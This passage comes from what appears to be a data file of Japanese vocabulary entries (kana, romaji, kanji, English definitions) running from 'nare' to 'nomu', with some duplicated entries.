learn\"\n\t},\n\n\t{\n\t\t'kana':'なれ',\n\t\t'romaji':'nare',\n\t\t'kanji':'慣れ',\n\t\t'definition':\"practice;experience\"\n\t},\n\n\t{\n\t\t'kana':'なれなれしい',\n\t\t'romaji':'narenareshii',\n\t\t'kanji':'馴れ馴れしい',\n\t\t'definition':\"over-familiar\"\n\t},\n\n\t{\n\t\t'kana':'なれる',\n\t\t'romaji':'nareru',\n\t\t'kanji':'馴れる',\n\t\t'definition':\"to become domesticated;to become tame;to get too familiar with\"\n\t},\n\n\t{\n\t\t'kana':'なれる',\n\t\t'romaji':'nareru',\n\t\t'kanji':'慣れる',\n\t\t'definition':\"to grow accustomed to\"\n\t},\n\n\t{\n\t\t'kana':'なりたつ',\n\t\t'romaji':'naritatsu',\n\t\t'kanji':'成り立つ',\n\t\t'definition':\"to conclude;to consist of;to be practical (logical feasible viable);to hold true\"\n\t},\n\n\t{\n\t\t'kana':'なる',\n\t\t'romaji':'naru',\n\t\t'kanji':'成る',\n\t\t'definition':\"to become\"\n\t},\n\n\t{\n\t\t'kana':'なる',\n\t\t'romaji':'naru',\n\t\t'kanji':'鳴る',\n\t\t'definition':\"to sound;to ring;to resound;to echo;to roar;to rumble\"\n\t},\n\n\t{\n\t\t'kana':'なる',\n\t\t'romaji':'naru',\n\t\t'kanji':'生る',\n\t\t'definition':\"to bear fruit\"\n\t},\n\n\t{\n\t\t'kana':'なるべく',\n\t\t'romaji':'narubeku',\n\t\t'kanji':'成るべく',\n\t\t'definition':\"as much as possible\"\n\t},\n\n\t{\n\t\t'kana':'なるほど',\n\t\t'romaji':'naruhodo',\n\t\t'kanji':'成程',\n\t\t'definition':\"I see;indeed\"\n\t},\n\n\t{\n\t\t'kana':'なるたけ',\n\t\t'romaji':'narutake',\n\t\t'kanji':'成る丈',\n\t\t'definition':\"as much as possible;if possible\"\n\t},\n\n\t{\n\t\t'kana':'なさけ',\n\t\t'romaji':'nasake',\n\t\t'kanji':'情け',\n\t\t'definition':\"sympathy;compassion\"\n\t},\n\n\t{\n\t\t'kana':'なさけぶかい',\n\t\t'romaji':'nasakebukai',\n\t\t'kanji':'情け深い',\n\t\t'definition':\"tender-hearted;compassionate\"\n\t},\n\n\t{\n\t\t'kana':'なさる',\n\t\t'romaji':'nasaru',\n\t\t'kanji':'為さる',\n\t\t'definition':\"to do\"\n\t},\n\n\t{\n\t\t'kana':'なし',\n\t\t'romaji':'nashi',\n\t\t'kanji':'無し',\n\t\t'definition':\"without\"\n\t},\n\n\t{\n\t\t'kana':'なす',\n\t\t'romaji':'nasu',\n\t\t'kanji':'為す',\n\t\t'definition':\"to accomplish;to do\"\n\t},\n\n\t{\n\t\t'kana':'なつ',\n\t\t'romaji':'natsu',\n\t\t'kanji':'夏',\n\t\t'definition':\"summer\"\n\t},\n\n\t{\n\t\t'kana':'なつかしい',\n\t\t'romaji':'natsukashii',\n\t\t'kanji':'懐かしい',\n\t\t'definition':\"dear;desired;missed\"\n\t},\n\n\t{\n\t\t'kana':'なつく',\n\t\t'romaji':'natsuku',\n\t\t'kanji':'懐く',\n\t\t'definition':\"to become emotionally attached\"\n\t},\n\n\t{\n\t\t'kana':'なっとく',\n\t\t'romaji':'nattoku',\n\t\t'kanji':'納得',\n\t\t'definition':\"consent;assent;understanding;agreement;comprehension;grasp\"\n\t},\n\n\t{\n\t\t'kana':'なわ',\n\t\t'romaji':'nawa',\n\t\t'kanji':'縄',\n\t\t'definition':\"rope;hemp\"\n\t},\n\n\t{\n\t\t'kana':'なやましい',\n\t\t'romaji':'nayamashii',\n\t\t'kanji':'悩ましい',\n\t\t'definition':\"seductive;melancholy;languid\"\n\t},\n\n\t{\n\t\t'kana':'なやます',\n\t\t'romaji':'nayamasu',\n\t\t'kanji':'悩ます',\n\t\t'definition':\"to afflict;to torment;to harass;to molest\"\n\t},\n\n\t{\n\t\t'kana':'なやみ',\n\t\t'romaji':'nayami',\n\t\t'kanji':'悩み',\n\t\t'definition':\"trouble(s);worry;distress;anguish;agony;problem\"\n\t},\n\n\t{\n\t\t'kana':'なやむ',\n\t\t'romaji':'nayamu',\n\t\t'kanji':'悩む',\n\t\t'definition':\"to be worried;to be troubled\"\n\t},\n\n\t{\n\t\t'kana':'なぜ',\n\t\t'romaji':'naze',\n\t\t'kanji':'何故',\n\t\t'definition':\"why;how\"\n\t},\n\n\t{\n\t\t'kana':'なぜなら',\n\t\t'romaji':'nazenara',\n\t\t'kanji':'何故なら',\n\t\t'definition':\"because\"\n\t},\n\n\t{\n\t\t'kana':'なぞ',\n\t\t'romaji':'nazo',\n\t\t'kanji':'謎',\n\t\t'definition':\"riddle;puzzle;enigma\"\n\t},\n\n\t{\n\t\t'kana':'なぞなぞ',\n\t\t'romaji':'nazonazo',\n\t\t'kanji':'謎謎',\n\t\t'definition':\"riddle;puzzle;enigma\"\n\t},\n\n\t{\n\t\t'kana':'ね',\n\t\t'romaji':'ne',\n\t\t'kanji':'音',\n\t\t'definition':\"sound;note\"\n\t},\n\n\t{\n\t\t'kana':'ね',\n\t\t'romaji':'ne',\n\t\t'kanji':'根',\n\t\t'definition':\"root\"\n\t},\n\n\t{\n\t\t'kana':'ねばり',\n\t\t'romaji':'nebari',\n\t\t'kanji':'粘り',\n\t\t'definition':\"stickyness;viscosity\"\n\t},\n\n\t{\n\t\t'kana':'ねばる',\n\t\t'romaji':'nebaru',\n\t\t'kanji':'粘る',\n\t\t'definition':\"to be sticky;to be adhesive;to persevere;to persist;to stick to\"\n\t},\n\n\t{\n\t\t'kana':'ねびき',\n\t\t'romaji':'nebiki',\n\t\t'kanji':'値引き',\n\t\t'definition':\"price reduction;discount\"\n\t},\n\n\t{\n\t\t'kana':'ねぼう',\n\t\t'romaji':'nebou',\n\t\t'kanji':'寝坊',\n\t\t'definition':\"sleeping in late\"\n\t},\n\n\t{\n\t\t'kana':'ねっちゅう',\n\t\t'romaji':'nechuu',\n\t\t'kanji':'熱中',\n\t\t'definition':\"nuts!;enthusiasm;zeal;mania\"\n\t},\n\n\t{\n\t\t'kana':'ねだん',\n\t\t'romaji':'nedan',\n\t\t'kanji':'値段',\n\t\t'definition':\"price;cost\"\n\t},\n\n\t{\n\t\t'kana':'ねだる',\n\t\t'romaji':'nedaru',\n\t\t'kanji':'強請る',\n\t\t'definition':\"to tease;to coax;to solicit;to demand\"\n\t},\n\n\t{\n\t\t'kana':'ネガ',\n\t\t'romaji':'nega',\n\t\t'kanji':'',\n\t\t'definition':\"(photographic) negative\"\n\t},\n\n\t{\n\t\t'kana':'ねがい',\n\t\t'romaji':'negai',\n\t\t'kanji':'願い',\n\t\t'definition':\"desire;wish;request;prayer;petition;application\"\n\t},\n\n\t{\n\t\t'kana':'ねがう',\n\t\t'romaji':'negau',\n\t\t'kanji':'願う',\n\t\t'definition':\"to desire;to wish;to request;to beg;to hope;to implore\"\n\t},\n\n\t{\n\t\t'kana':'ねじ',\n\t\t'romaji':'neji',\n\t\t'kanji':'捻子',\n\t\t'definition':\"screw;helix;spiral\"\n\t},\n\n\t{\n\t\t'kana':'ねじまわし',\n\t\t'romaji':'nejimawashi',\n\t\t'kanji':'ねじ回し',\n\t\t'definition':\"screwdriver\"\n\t},\n\n\t{\n\t\t'kana':'ねじれる',\n\t\t'romaji':'nejireru',\n\t\t'kanji':'捻じれる',\n\t\t'definition':\"to twist;to wrench;to screw\"\n\t},\n\n\t{\n\t\t'kana':'ねじる',\n\t\t'romaji':'nejiru',\n\t\t'kanji':'捩る',\n\t\t'definition':\"to torture;to wrest\"\n\t},\n\n\t{\n\t\t'kana':'ねかせる',\n\t\t'romaji':'nekaseru',\n\t\t'kanji':'寝かせる',\n\t\t'definition':\"to put to bed;to lay down;to ferment\"\n\t},\n\n\t{\n\t\t'kana':'ねこ',\n\t\t'romaji':'neko',\n\t\t'kanji':'猫',\n\t\t'definition':\"cat\"\n\t},\n\n\t{\n\t\t'kana':'ネックレス',\n\t\t'romaji':'nekuresu',\n\t\t'kanji':'',\n\t\t'definition':\"necklace\"\n\t},\n\n\t{\n\t\t'kana':'ネクタイ',\n\t\t'romaji':'nekutai',\n\t\t'kanji':'',\n\t\t'definition':\"tie;necktie\"\n\t},\n\n\t{\n\t\t'kana':'ねまき',\n\t\t'romaji':'nemaki',\n\t\t'kanji':'寝間着',\n\t\t'definition':\"sleep-wear;nightclothes;pyjamas;nightgown;nightdress\"\n\t},\n\n\t{\n\t\t'kana':'ねまき',\n\t\t'romaji':'nemaki',\n\t\t'kanji':'寝巻',\n\t\t'definition':\"sleep-wear;nightclothes;pyjamas;nightgown;nightdress\"\n\t},\n\n\t{\n\t\t'kana':'ねまわし',\n\t\t'romaji':'nemawashi',\n\t\t'kanji':'根回し',\n\t\t'definition':\"making necessary arrangements\"\n\t},\n\n\t{\n\t\t'kana':'ねむい',\n\t\t'romaji':'nemui',\n\t\t'kanji':'眠い',\n\t\t'definition':\"aestivation;estivation;sleepy;drowsy\"\n\t},\n\n\t{\n\t\t'kana':'ねむる',\n\t\t'romaji':'nemuru',\n\t\t'kanji':'眠る',\n\t\t'definition':\"to sleep\"\n\t},\n\n\t{\n\t\t'kana':'ねむたい',\n\t\t'romaji':'nemutai',\n\t\t'kanji':'眠たい',\n\t\t'definition':\"sleepy\"\n\t},\n\n\t{\n\t\t'kana':'ねん',\n\t\t'romaji':'nen',\n\t\t'kanji':'念',\n\t\t'definition':\"sense;idea;thought;feeling;desire;concern;attention;care\"\n\t},\n\n\t{\n\t\t'kana':'ねんちょう',\n\t\t'romaji':'nenchou',\n\t\t'kanji':'年長',\n\t\t'definition':\"seniority\"\n\t},\n\n\t{\n\t\t'kana':'ねんだい',\n\t\t'romaji':'nendai',\n\t\t'kanji':'年代',\n\t\t'definition':\"age;era;period;date\"\n\t},\n\n\t{\n\t\t'kana':'ねんど',\n\t\t'romaji':'nendo',\n\t\t'kanji':'年度',\n\t\t'definition':\"year;fiscal year;school year;term\"\n\t},\n\n\t{\n\t\t'kana':'ねんが',\n\t\t'romaji':'nenga',\n\t\t'kanji':'年賀',\n\t\t'definition':\"New Year's greetings;New Year's card\"\n\t},\n\n\t{\n\t\t'kana':'ねんがん',\n\t\t'romaji':'nengan',\n\t\t'kanji':'念願',\n\t\t'definition':\"one's heart's desire;earnest petition\"\n\t},\n\n\t{\n\t\t'kana':'ねんごう',\n\t\t'romaji':'nengou',\n\t\t'kanji':'年号',\n\t\t'definition':\"name of an era;year number\"\n\t},\n\n\t{\n\t\t'kana':'ねんじゅう',\n\t\t'romaji':'nenjyuu',\n\t\t'kanji':'年中',\n\t\t'definition':\"whole year;always;everyday\"\n\t},\n\n\t{\n\t\t'kana':'ねんかん',\n\t\t'romaji':'nenkan',\n\t\t'kanji':'年間',\n\t\t'definition':\"year\"\n\t},\n\n\t{\n\t\t'kana':'ねんかん',\n\t\t'romaji':'nenkan',\n\t\t'kanji':'年鑑',\n\t\t'definition':\"yearbook\"\n\t},\n\n\t{\n\t\t'kana':'ねんれい',\n\t\t'romaji':'nenrei',\n\t\t'kanji':'年齢',\n\t\t'definition':\"age;years\"\n\t},\n\n\t{\n\t\t'kana':'ねんりん',\n\t\t'romaji':'nenrin',\n\t\t'kanji':'年輪',\n\t\t'definition':\"annual tree ring\"\n\t},\n\n\t{\n\t\t'kana':'ねんりょう',\n\t\t'romaji':'nenryou',\n\t\t'kanji':'燃料',\n\t\t'definition':\"fuel\"\n\t},\n\n\t{\n\t\t'kana':'ねんせい',\n\t\t'romaji':'nensei',\n\t\t'kanji':'年生',\n\t\t'definition':\"pupil in .... year;student in .... year\"\n\t},\n\n\t{\n\t\t'kana':'ねんしょう',\n\t\t'romaji':'nenshou',\n\t\t'kanji':'燃焼',\n\t\t'definition':\"burning;combustion\"\n\t},\n\n\t{\n\t\t'kana':'ねらい',\n\t\t'romaji':'nerai',\n\t\t'kanji':'狙い',\n\t\t'definition':\"aim\"\n\t},\n\n\t{\n\t\t'kana':'ねらう',\n\t\t'romaji':'nerau',\n\t\t'kanji':'狙う',\n\t\t'definition':\"to aim at\"\n\t},\n\n\t{\n\t\t'kana':'ねる',\n\t\t'romaji':'neru',\n\t\t'kanji':'寝る',\n\t\t'definition':\"to go to bed;to lie down;to sleep\"\n\t},\n\n\t{\n\t\t'kana':'ねる',\n\t\t'romaji':'neru',\n\t\t'kanji':'練る',\n\t\t'definition':\"to knead;to work over;to polish up\"\n\t},\n\n\t{\n\t\t'kana':'ねっしん',\n\t\t'romaji':'nesshin',\n\t\t'kanji':'熱心',\n\t\t'definition':\"zeal;enthusiasm\"\n\t},\n\n\t{\n\t\t'kana':'ねっする',\n\t\t'romaji':'nessuru',\n\t\t'kanji':'熱する',\n\t\t'definition':\"to heat\"\n\t},\n\n\t{\n\t\t'kana':'ねたむ',\n\t\t'romaji':'netamu',\n\t\t'kanji':'妬む',\n\t\t'definition':\"to be jealous;to be envious\"\n\t},\n\n\t{\n\t\t'kana':'ねつ',\n\t\t'romaji':'netsu',\n\t\t'kanji':'熱',\n\t\t'definition':\"fever;temperature\"\n\t},\n\n\t{\n\t\t'kana':'ねつい',\n\t\t'romaji':'netsui',\n\t\t'kanji':'熱意',\n\t\t'definition':\"zeal;enthusiasm\"\n\t},\n\n\t{\n\t\t'kana':'ねつりょう',\n\t\t'romaji':'netsuryou',\n\t\t'kanji':'熱量',\n\t\t'definition':\"temperature\"\n\t},\n\n\t{\n\t\t'kana':'ねったい',\n\t\t'romaji':'nettai',\n\t\t'kanji':'熱帯',\n\t\t'definition':\"tropics\"\n\t},\n\n\t{\n\t\t'kana':'ねっとう',\n\t\t'romaji':'nettou',\n\t\t'kanji':'熱湯',\n\t\t'definition':\"boiling water\"\n\t},\n\n\t{\n\t\t'kana':'ねうち',\n\t\t'romaji':'neuchi',\n\t\t'kanji':'値打ち',\n\t\t'definition':\"value;worth;price;dignity\"\n\t},\n\n\t{\n\t\t'kana':'ねず',\n\t\t'romaji':'nezu',\n\t\t'kanji':'鼠',\n\t\t'definition':\"1. mouse;rat; 2. dark gray;slate color\"\n\t},\n\n\t{\n\t\t'kana':'に',\n\t\t'romaji':'ni',\n\t\t'kanji':'荷',\n\t\t'definition':\"load;baggage;cargo\"\n\t},\n\n\t{\n\t\t'kana':'に',\n\t\t'romaji':'ni',\n\t\t'kanji':'二',\n\t\t'definition':\"(num) two\"\n\t},\n\n\t{\n\t\t'kana':'に',\n\t\t'romaji':'ni',\n\t\t'kanji':'荷',\n\t\t'definition':\"load;baggage;cargo\"\n\t},\n\n\t{\n\t\t'kana':'ニュー',\n\t\t'romaji':'ni-',\n\t\t'kanji':'',\n\t\t'definition':\"new\"\n\t},\n\n\t{\n\t\t'kana':'ニュアンス',\n\t\t'romaji':'niansu',\n\t\t'kanji':'',\n\t\t'definition':\"nuance\"\n\t},\n\n\t{\n\t\t'kana':'にあう',\n\t\t'romaji':'niau',\n\t\t'kanji':'似合う',\n\t\t'definition':\"to suit;to match;to become;to be like\"\n\t},\n\n\t{\n\t\t'kana':'にぶい',\n\t\t'romaji':'nibui',\n\t\t'kanji':'鈍い',\n\t\t'definition':\"dull (e.g. a knife);thickheaded;slow (opposite of fast);stupid\"\n\t},\n\n\t{\n\t\t'kana':'にぶい',\n\t\t'romaji':'nibui',\n\t\t'kanji':'鈍い',\n\t\t'definition':\"dull (e.g. a knife);thickheaded;slow (opposite of fast);stupid\"\n\t},\n\n\t{\n\t\t'kana':'にちじ',\n\t\t'romaji':'nichiji',\n\t\t'kanji':'日時',\n\t\t'definition':\"date and time\"\n\t},\n\n\t{\n\t\t'kana':'にちじょう',\n\t\t'romaji':'nichijyou',\n\t\t'kanji':'日常',\n\t\t'definition':\"ordinary;regular;everyday;usual\"\n\t},\n\n\t{\n\t\t'kana':'にちや',\n\t\t'romaji':'nichiya',\n\t\t'kanji':'日夜',\n\t\t'definition':\"day and night;always\"\n\t},\n\n\t{\n\t\t'kana':'にちようひん',\n\t\t'romaji':'nichiyouhin',\n\t\t'kanji':'日用品',\n\t\t'definition':\"daily necessities\"\n\t},\n\n\t{\n\t\t'kana':'にっちゅう',\n\t\t'romaji':'nichuu',\n\t\t'kanji':'日中',\n\t\t'definition':\"daytime;Sino-Japanese\"\n\t},\n\n\t{\n\t\t'kana':'にづくり',\n\t\t'romaji':'nidukuri',\n\t\t'kanji':'荷造り',\n\t\t'definition':\"packing;baling;crating\"\n\t},\n\n\t{\n\t\t'kana':'にがい',\n\t\t'romaji':'nigai',\n\t\t'kanji':'苦い',\n\t\t'definition':\"bitter\"\n\t},\n\n\t{\n\t\t'kana':'にがす',\n\t\t'romaji':'nigasu',\n\t\t'kanji':'逃がす',\n\t\t'definition':\"to let loose;to set free;to let escape\"\n\t},\n\n\t{\n\t\t'kana':'にがて',\n\t\t'romaji':'nigate',\n\t\t'kanji':'苦手',\n\t\t'definition':\"poor (at);weak (in);dislike (of)\"\n\t},\n\n\t{\n\t\t'kana':'にげだす',\n\t\t'romaji':'nigedasu',\n\t\t'kanji':'逃げ出す',\n\t\t'definition':\"to run away;to escape from\"\n\t},\n\n\t{\n\t\t'kana':'にげる',\n\t\t'romaji':'nigeru',\n\t\t'kanji':'逃げる',\n\t\t'definition':\"to escape;to run away\"\n\t},\n\n\t{\n\t\t'kana':'にぎる',\n\t\t'romaji':'nigiru',\n\t\t'kanji':'握る',\n\t\t'definition':\"to grasp;to seize;to mould sushi\"\n\t},\n\n\t{\n\t\t'kana':'にぎわう',\n\t\t'romaji':'nigiwau',\n\t\t'kanji':'賑わう',\n\t\t'definition':\"to prosper;to flourish;to do thriving business;to be crowded with people\"\n\t},\n\n\t{\n\t\t'kana':'にぎやか',\n\t\t'romaji':'nigiyaka',\n\t\t'kanji':'賑やか',\n\t\t'definition':\"bustling;busy\"\n\t},\n\n\t{\n\t\t'kana':'にごる',\n\t\t'romaji':'nigoru',\n\t\t'kanji':'濁る',\n\t\t'definition':\"to become muddy;to get impure\"\n\t},\n\n\t{\n\t\t'kana':'にじ',\n\t\t'romaji':'niji',\n\t\t'kanji':'虹',\n\t\t'definition':\"rainbow\"\n\t},\n\n\t{\n\t\t'kana':'にじむ',\n\t\t'romaji':'nijimu',\n\t\t'kanji':'滲む',\n\t\t'definition':\"to run;to blur;to spread;to blot;to ooze\"\n\t},\n\n\t{\n\t\t'kana':'にっか',\n\t\t'romaji':'nika',\n\t\t'kanji':'日課',\n\t\t'definition':\"daily lesson;daily work;daily routine\"\n\t},\n\n\t{\n\t\t'kana':'にかよう',\n\t\t'romaji':'nikayou',\n\t\t'kanji':'似通う',\n\t\t'definition':\"to resemble closely\"\n\t},\n\n\t{\n\t\t'kana':'にっき',\n\t\t'romaji':'niki',\n\t\t'kanji':'日記',\n\t\t'definition':\"diary;journal\"\n\t},\n\n\t{\n\t\t'kana':'にきび',\n\t\t'romaji':'nikibi',\n\t\t'kanji':'面皰',\n\t\t'definition':\"pimple;acne\"\n\t},\n\n\t{\n\t\t'kana':'にっこり',\n\t\t'romaji':'nikkori',\n\t\t'kanji':'',\n\t\t'definition':\"smile sweetly;smile;grin\"\n\t},\n\n\t{\n\t\t'kana':'にっこう',\n\t\t'romaji':'nikkou',\n\t\t'kanji':'日光',\n\t\t'definition':\"sunlight\"\n\t},\n\n\t{\n\t\t'kana':'にく',\n\t\t'romaji':'niku',\n\t\t'kanji':'肉',\n\t\t'definition':\"meat\"\n\t},\n\n\t{\n\t\t'kana':'にくい',\n\t\t'romaji':'nikui',\n\t\t'kanji':'悪い',\n\t\t'definition':\"hateful;abominable;poor-looking\"\n\t},\n\n\t{\n\t\t'kana':'にくい',\n\t\t'romaji':'nikui',\n\t\t'kanji':'憎い',\n\t\t'definition':\"hateful;detestable\"\n\t},\n\n\t{\n\t\t'kana':'にくむ',\n\t\t'romaji':'nikumu',\n\t\t'kanji':'憎む',\n\t\t'definition':\"to hate;to detest\"\n\t},\n\n\t{\n\t\t'kana':'にくらしい',\n\t\t'romaji':'nikurashii',\n\t\t'kanji':'憎らしい',\n\t\t'definition':\"odious;hateful\"\n\t},\n\n\t{\n\t\t'kana':'にくしみ',\n\t\t'romaji':'nikushimi',\n\t\t'kanji':'憎しみ',\n\t\t'definition':\"hatred\"\n\t},\n\n\t{\n\t\t'kana':'にくしん',\n\t\t'romaji':'nikushin',\n\t\t'kanji':'肉親',\n\t\t'definition':\"blood relationship;blood relative\"\n\t},\n\n\t{\n\t\t'kana':'にくたい',\n\t\t'romaji':'nikutai',\n\t\t'kanji':'肉体',\n\t\t'definition':\"the body;the flesh\"\n\t},\n\n\t{\n\t\t'kana':'にもかかわらず',\n\t\t'romaji':'nimokakawarazu',\n\t\t'kanji':'にも拘らず',\n\t\t'definition':\"in spite of;nevertheless\"\n\t},\n\n\t{\n\t\t'kana':'にもつ',\n\t\t'romaji':'nimotsu',\n\t\t'kanji':'荷物',\n\t\t'definition':\"luggage\"\n\t},\n\n\t{\n\t\t'kana':'になう',\n\t\t'romaji':'ninau',\n\t\t'kanji':'担う',\n\t\t'definition':\"to carry on shoulder;to bear (burden);to shoulder (gun)\"\n\t},\n\n\t{\n\t\t'kana':'にんげん',\n\t\t'romaji':'ningen',\n\t\t'kanji':'人間',\n\t\t'definition':\"human being;man;person\"\n\t},\n\n\t{\n\t\t'kana':'にんぎょう',\n\t\t'romaji':'ningyou',\n\t\t'kanji':'人形',\n\t\t'definition':\"doll;puppet;figure\"\n\t},\n\n\t{\n\t\t'kana':'ににん',\n\t\t'romaji':'ninin',\n\t\t'kanji':'二人',\n\t\t'definition':\"two persons;two people;pair;couple\"\n\t},\n\n\t{\n\t\t'kana':'にんじょう',\n\t\t'romaji':'ninjyou',\n\t\t'kanji':'人情',\n\t\t'definition':\"humanity;empathy;kindness;sympathy;human nature;common sense;customs and manners\"\n\t},\n\n\t{\n\t\t'kana':'にんき',\n\t\t'romaji':'ninki',\n\t\t'kanji':'人気',\n\t\t'definition':\"popular;business conditions;popular feeling\"\n\t},\n\n\t{\n\t\t'kana':'にんき',\n\t\t'romaji':'ninki',\n\t\t'kanji':'人気',\n\t\t'definition':\"popular;business conditions;popular feeling\"\n\t},\n\n\t{\n\t\t'kana':'にんめい',\n\t\t'romaji':'ninmei',\n\t\t'kanji':'任命',\n\t\t'definition':\"appointment;nomination;ordination;commission;designation\"\n\t},\n\n\t{\n\t\t'kana':'にんむ',\n\t\t'romaji':'ninmu',\n\t\t'kanji':'任務',\n\t\t'definition':\"duty;function;office;mission;task\"\n\t},\n\n\t{\n\t\t'kana':'にんしき',\n\t\t'romaji':'ninshiki',\n\t\t'kanji':'認識',\n\t\t'definition':\"recognition;cognizance\"\n\t},\n\n\t{\n\t\t'kana':'にんしん',\n\t\t'romaji':'ninshin',\n\t\t'kanji':'妊娠',\n\t\t'definition':\"conception;pregnancy\"\n\t},\n\n\t{\n\t\t'kana':'におい',\n\t\t'romaji':'nioi',\n\t\t'kanji':'匂い',\n\t\t'definition':\"odour;scent;smell;stench;fragrance;aroma;perfume\"\n\t},\n\n\t{\n\t\t'kana':'におう',\n\t\t'romaji':'niou',\n\t\t'kanji':'匂う',\n\t\t'definition':\"to be fragrant;to smell;to stink;to glow;to be bright\"\n\t},\n\n\t{\n\t\t'kana':'にっぽん',\n\t\t'romaji':'nippon',\n\t\t'kanji':'日本',\n\t\t'definition':\"Japan\"\n\t},\n\n\t{\n\t\t'kana':'にらむ',\n\t\t'romaji':'niramu',\n\t\t'kanji':'睨む',\n\t\t'definition':\"to glare at;to scowl at;to keep an eye on\"\n\t},\n\n\t{\n\t\t'kana':'にる',\n\t\t'romaji':'niru',\n\t\t'kanji':'煮る',\n\t\t'definition':\"to boil;to cook\"\n\t},\n\n\t{\n\t\t'kana':'にる',\n\t\t'romaji':'niru',\n\t\t'kanji':'似る',\n\t\t'definition':\"to resemble;to be similar\"\n\t},\n\n\t{\n\t\t'kana':'にし',\n\t\t'romaji':'nishi',\n\t\t'kanji':'西',\n\t\t'definition':\"west\"\n\t},\n\n\t{\n\t\t'kana':'にしび',\n\t\t'romaji':'nishibi',\n\t\t'kanji':'西日',\n\t\t'definition':\"westering sun\"\n\t},\n\n\t{\n\t\t'kana':'ニュース',\n\t\t'romaji':'ni-su',\n\t\t'kanji':'',\n\t\t'definition':\"news\"\n\t},\n\n\t{\n\t\t'kana':'にってい',\n\t\t'romaji':'nittei',\n\t\t'kanji':'日程',\n\t\t'definition':\"agenda\"\n\t},\n\n\t{\n\t\t'kana':'にっとう',\n\t\t'romaji':'nittou',\n\t\t'kanji':'日当',\n\t\t'definition':\"daily allowance\"\n\t},\n\n\t{\n\t\t'kana':'にわ',\n\t\t'romaji':'niwa',\n\t\t'kanji':'庭',\n\t\t'definition':\"garden\"\n\t},\n\n\t{\n\t\t'kana':'にわか',\n\t\t'romaji':'niwaka',\n\t\t'kanji':'俄か',\n\t\t'definition':\"sudden;abrupt;unexpected;improvised;offhand\"\n\t},\n\n\t{\n\t\t'kana':'の',\n\t\t'romaji':'no',\n\t\t'kanji':'野',\n\t\t'definition':\"field\"\n\t},\n\n\t{\n\t\t'kana':'のばす',\n\t\t'romaji':'nobasu',\n\t\t'kanji':'延ばす',\n\t\t'definition':\"to lengthen;to stretch;to reach out;to postpone;to prolong;to extend;to grow (beard)\"\n\t},\n\n\t{\n\t\t'kana':'のばす',\n\t\t'romaji':'nobasu',\n\t\t'kanji':'伸ばす',\n\t\t'definition':\"to lengthen;to stretch;to reach out;to postpone;to prolong;to extend;to grow (beard)\"\n\t},\n\n\t{\n\t\t'kana':'のべ',\n\t\t'romaji':'nobe',\n\t\t'kanji':'延べ',\n\t\t'definition':\"futures;credit (buying);stretching;total\"\n\t},\n\n\t{\n\t\t'kana':'のべる',\n\t\t'romaji':'noberu',\n\t\t'kanji':'述べる',\n\t\t'definition':\"to state;to express;to mention\"\n\t},\n\n\t{\n\t\t'kana':'のびる',\n\t\t'romaji':'nobiru',\n\t\t'kanji':'延びる',\n\t\t'definition':\"to be prolonged\"\n\t},\n\n\t{\n\t\t'kana':'のびる',\n\t\t'romaji':'nobiru',\n\t\t'kanji':'伸びる',\n\t\t'definition':\"to stretch;to extend;to make progress;to grow (beard body height);to grow stale (soba);to lengthen;to spread;to be postponed;to be straightened;to be flattened;to be smoothed;to be exhausted\"\n\t},\n\n\t{\n\t\t'kana':'のぼり',\n\t\t'romaji':'nobori',\n\t\t'kanji':'上り',\n\t\t'definition':\"up-train (going to Tokyo);ascent\"\n\t},\n\n\t{\n\t\t'kana':'のぼる',\n\t\t'romaji':'noboru',\n\t\t'kanji':'登る',\n\t\t'definition':\"to climb\"\n\t},\n\n\t{\n\t\t'kana':'のぼる',\n\t\t'romaji':'noboru',\n\t\t'kanji':'昇る',\n\t\t'definition':\"to arise;to ascend;to go up\"\n\t},\n\n\t{\n\t\t'kana':'のぼる',\n\t\t'romaji':'noboru',\n\t\t'kanji':'上る',\n\t\t'definition':\"to rise;to ascend;to be promoted;to go up;to climb;to go to (the capital);to add up to;to advance (in price);to sail up;to come up (on the agenda)\"\n\t},\n\n\t{\n\t\t'kana':'のど',\n\t\t'romaji':'nodo',\n\t\t'kanji':'喉',\n\t\t'definition':\"throat\"\n\t},\n\n\t{\n\t\t'kana':'のどか',\n\t\t'romaji':'nodoka',\n\t\t'kanji':'長閑',\n\t\t'definition':\"tranquil;calm;quiet\"\n\t},\n\n\t{\n\t\t'kana':'のがれる',\n\t\t'romaji':'nogareru',\n\t\t'kanji':'逃れる',\n\t\t'definition':\"to escape\"\n\t},\n\n\t{\n\t\t'kana':'のがす',\n\t\t'romaji':'nogasu',\n\t\t'kanji':'逃す',\n\t\t'definition':\"to let loose;to set free;to let escape\"\n\t},\n\n\t{\n\t\t'kana':'ノイローゼ',\n\t\t'romaji':'noiro-ze',\n\t\t'kanji':'',\n\t\t'definition':\"(de:) (n) neurosis (de: Neurose)\"\n\t},\n\n\t{\n\t\t'kana':'のき',\n\t\t'romaji':'noki',\n\t\t'kanji':'軒',\n\t\t'definition':\"eaves\"\n\t},\n\n\t{\n\t\t'kana':'のき',\n\t\t'romaji':'noki',\n\t\t'kanji':'軒',\n\t\t'definition':\"eaves\"\n\t},\n\n\t{\n\t\t'kana':'のきなみ',\n\t\t'romaji':'nokinami',\n\t\t'kanji':'軒並み',\n\t\t'definition':\"row of houses\"\n\t},\n\n\t{\n\t\t'kana':'のこぎり',\n\t\t'romaji':'nokogiri',\n\t\t'kanji':'鋸',\n\t\t'definition':\"saw\"\n\t},\n\n\t{\n\t\t'kana':'のこらず',\n\t\t'romaji':'nokorazu',\n\t\t'kanji':'残らず',\n\t\t'definition':\"all;entirely;completely;without exception\"\n\t},\n\n\t{\n\t\t'kana':'のこり',\n\t\t'romaji':'nokori',\n\t\t'kanji':'残り',\n\t\t'definition':\"remnant;residue;remaining;left-over\"\n\t},\n\n\t{\n\t\t'kana':'のこる',\n\t\t'romaji':'nokoru',\n\t\t'kanji':'残る',\n\t\t'definition':\"to remain;to be left\"\n\t},\n\n\t{\n\t\t'kana':'のこす',\n\t\t'romaji':'nokosu',\n\t\t'kanji':'残す',\n\t\t'definition':\"to leave (behind over);to bequeath;to save;to reserve\"\n\t},\n\n\t{\n\t\t'kana':'ノック',\n\t\t'romaji':'noku',\n\t\t'kanji':'',\n\t\t'definition':\"1. knock; 2. fungo (baseball)\"\n\t},\n\n\t{\n\t\t'kana':'のみこむ',\n\t\t'romaji':'nomikomu',\n\t\t'kanji':'飲み込む',\n\t\t'definition':\"to gulp down;to swallow deeply;to understand;to take in;to catch on to;to learn;to digest\"\n\t},\n\n\t{\n\t\t'kana':'のむ',\n\t\t'romaji':'nomu',\n\t\t'kanji':'飲む',\n\t\t'definition':\"to 